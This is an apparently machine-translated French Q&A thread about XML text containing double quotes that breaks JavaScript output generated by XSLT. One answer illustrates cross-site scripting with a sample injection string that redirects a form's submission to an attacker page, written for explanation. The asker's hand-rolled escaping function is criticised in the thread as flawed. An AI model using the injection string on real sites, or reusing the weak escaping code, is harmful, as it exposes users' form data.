2010-02-17 4 views
0

Je ne suis pas sûr que je vais être en mesure d'expliquer celui-ci comme il peut être difficile pour moi d'expliquer, mais je vais essayer.XML stocke des données de texte avec des guillemets doubles, JavaScript se bloque lors de la récupération des données

J'ai un formulaire Web qui publie les données dans un fichier XML, puis il montre les données dans une autre page Web. Tout fonctionne bien, mais lorsque l'utilisateur tape un double guillemet, au moment où la page Web tente d'afficher les données, il se bloque en raison du symbole de double citation, ce qui est logique car il peut être considéré comme inachevé. chaîne par javascript.

Il y a aussi quelque chose qui vaut la peine d'être mentionné, à savoir que le problème ne se produit que sur une section du formulaire, où se trouve une table remplie avec un tableau créé à partir d'une collection d'éléments XML et insérez ensuite le texte du tableau dans les cellules du tableau en utilisant innerHTML.

par ex.

XML

<node1> 
    <node2> test "1</node2> 
</node1> 

<script type="text/javascript"> 
    alert("<xsl:value-of select="node1/node2">"); 
<script> 

Cela ne fonctionnera pas, peut-être si je reçois une solution à cela, je peux fixer le reste.

Désolé les gars si je ne m'explique pas assez bien, je ne sais pas comment exposer ce problème mieux. Je serais heureux de répondre à toute question si vous en avez besoin.

Veuillez noter que si vous avez une réponse, elle doit être javascript, sans jquery.

Merci.

+0

Utilisez-vous CDATA pour les nœuds XML concernés? Avez-vous essayé URLEncoding les champs? –

+0

Je n'utilise pas CDATA, et je ne sais pas ce qu'est URLEncoding. Merci pour le commentaire – Amra

+0

D'où vient la transformation? Sur le serveur ou sur le client? Quel processeur XSL utilisez-vous? (PS: l'encodage d'URL ne vous aidera pas ici, mais peut-être que vous devriez commencer à lire quand même.) Vous avez beaucoup de choses à rattraper.) – Tomalak

Répondre

2

Echappez toujours à l'entrée utilisateur. Votre bug est un exemple bénin des problèmes qui peuvent survenir, mais cela signifie que vous êtes probablement vulnérable à un code injection attack, tel que cross-site scripting.

Échapper

est ici what Wikipedia has to say about escaping. Voici un exemple simplifié de ce que cela signifie. Supposons que vous avez le code JavaScript suivant et que je ne l'ai pas fait des erreurs stupides dans ce (depuis que je viens de l'inventer):

function unsafeAlert() { 
    alert("You shouldn't be doing this!\n" + document.getElementsById('userInputField').value); 
} 

Qu'advient-il si les types d'utilisateur dans quelque chose comme '); document.forms[0].action="http://www.example.com/maliciousPage.html";document.forms[0].submit();"? Soudainement, votre alerte provoque le formulaire (qui peut contenir des données sensibles) à soumettre à la page d'un attaquant. C'est évidemment un problème. Vous devriez avoir un code de bibliothèque quelque part qui échappe à la valeur avant de tenter de l'alerter. Cela fera des choses comme mettre des barres obliques devant des guillemets, etc. De même, vous ne devriez probablement pas essayer d'écrire ce code vous-même, car la logique d'échappement est toujours au moins 10 fois plus dure que vous ne le pensez. Vous devriez certainement obtenir une telle logique dans une bibliothèque quelque part.

+0

@Hank Gay, merci pour votre réponse, mais je dois accepter les doubles quotes être typé. – Amra

+1

+1 Une mauvaise séparation du code et des données est l'éternel problème de toute la génération de code. Internet ne contiendrait pas un seul site infecté par XSS si les gens n'oubliaient pas de façon constante et constante * de valider et d'échapper à l'entrée de l'utilisateur (données) avant de l'utiliser (code). – Tomalak

+2

@Cesar: Hank n'a pas dit que vous ne devriez pas accepter les guillemets. Il a dit que vous devriez leur échapper (et avec eux les autres caractères qui ont une signification particulière dans une chaîne JavaScript: les barres obliques inverses). – Tomalak

0

gars droite,

j'ai joué autour, et a trouvé un moyen de le réparer.

en utilisant la fonction suivante.

XML 
<node1> 
<node2>test "1</node2> 
</node1> 

<script type="text/javascript"> 
function convertString(value){ 
for(var z=0; z <= value.length -1; z++) 
    { 
    //if current character is a backslash 
    if(value.substring(z, z + 1)=="\\" && (value.substring(z, z + 4)!="\\r\\n" && value.substring(z, z + 2)!="\\n")) 
     { 
     value = value.substring(0, z) + "\\\\" + value.substring(z + 1, value.length); 
    z++; 
} 
    if(value.substring(z, z + 1)=="\\" && value.substring(z, z + 4)=="\\r\\n") 
     { 
     z = z+4; 
     }  
    if(value.substring(z, z + 1)=="\\" && value.substring(z, z + 2)=="\\n") 
     { 
     z = z+2; 
     } 
    } 
//replace " with \" 
//loop through each character 
    for(var x = 0; x <= value.length -1; x++){ 
     //if current character is a quote 
    if(value.substring(x, x + 1)=="\""){ 
    //concatenate: value up to the quote + \" + value AFTER the quote 
    value = value.substring(0, x) + "\\\"" + value.substring(x + 1, value.length); 
    //account for extra character 
    x++; 
    } 
    } 
    //return the modified string 
return(value); 
} 
<script> 


alert("<xsl:value-of select="convertString(string(node1/node2))"/>"); 

Merci à tous ceux qui ont répondu à cette question.

+1

Ce code n'est vraiment pas bon et vous ne devriez pas l'utiliser. En savoir plus sur JavaScript, il existe des moyens plus simples de remplacer les caractères dans les chaînes que de les faire défiler caractère par caractère comme vous le faites. Regardez l'objet 'String' et ce qu'il peut faire pour vous. – Tomalak

+0

@Tomalak: Encore une fois, merci pour l'avance, je le lis maintenant, car je n'ai pas écrit cette fonction mais c'était sur les fonctions générales d'utilisation pour le web, il est aussi difficile à comprendre pour moi, je vais vérifier si Je peux l'améliorer. + 1 – Amra

+1

Ne devrait pas être trop dur. Pour autant que je puisse voir, cela peut être réduit en une très courte ligne de code JavaScript. Ne jamais copier et coller du code (surtout si vous ne savez pas * exactement * ce qu'il fait). Ecrivez-le vous-même (ou prenez le temps de * comprendre complètement * le code étranger). Prend plus longtemps, mais vous apprendrez quelque chose. – Tomalak

Questions connexes